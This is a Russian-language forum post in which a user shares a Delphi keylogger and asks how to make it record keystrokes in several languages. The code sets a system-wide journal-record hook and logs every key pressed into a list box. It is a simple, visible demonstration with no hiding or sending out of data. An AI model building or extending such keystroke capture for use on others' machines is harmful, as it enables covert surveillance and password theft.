Показать сообщение отдельно
  #9  
Старый 08.01.2007, 21:59
NeoN NeoN вне форума
Прохожий
 
Регистрация: 05.01.2007
Сообщения: 7
Репутация: 10
По умолчанию

Подскажите, пожалуйста, как сделать следующий KeyLogger
Код:
...
var
...
  h:hhook;
...

function Proc(

    code:integer;
    wParam:WPARAM;
    lParam:LPARAM
   ):lresult;stdcall;
var c:array[0..255] of char;
    nScan:integer;
begin
 if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
  nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
  nscan:=nscan shl 16;
  GetKeyNameText(nScan,c,256);
  form1.ListBox1.Items.Add(c);
 end;
 result:=callnexthookex(h,code,wparam,lparam);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
 caption:=inttostr(h);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 unhookwindowshookex(h);
end;

Так вот, как сдлелать его мультиязычным?
Заранее благодарен за помощь и поддержку.
Ответить с цитированием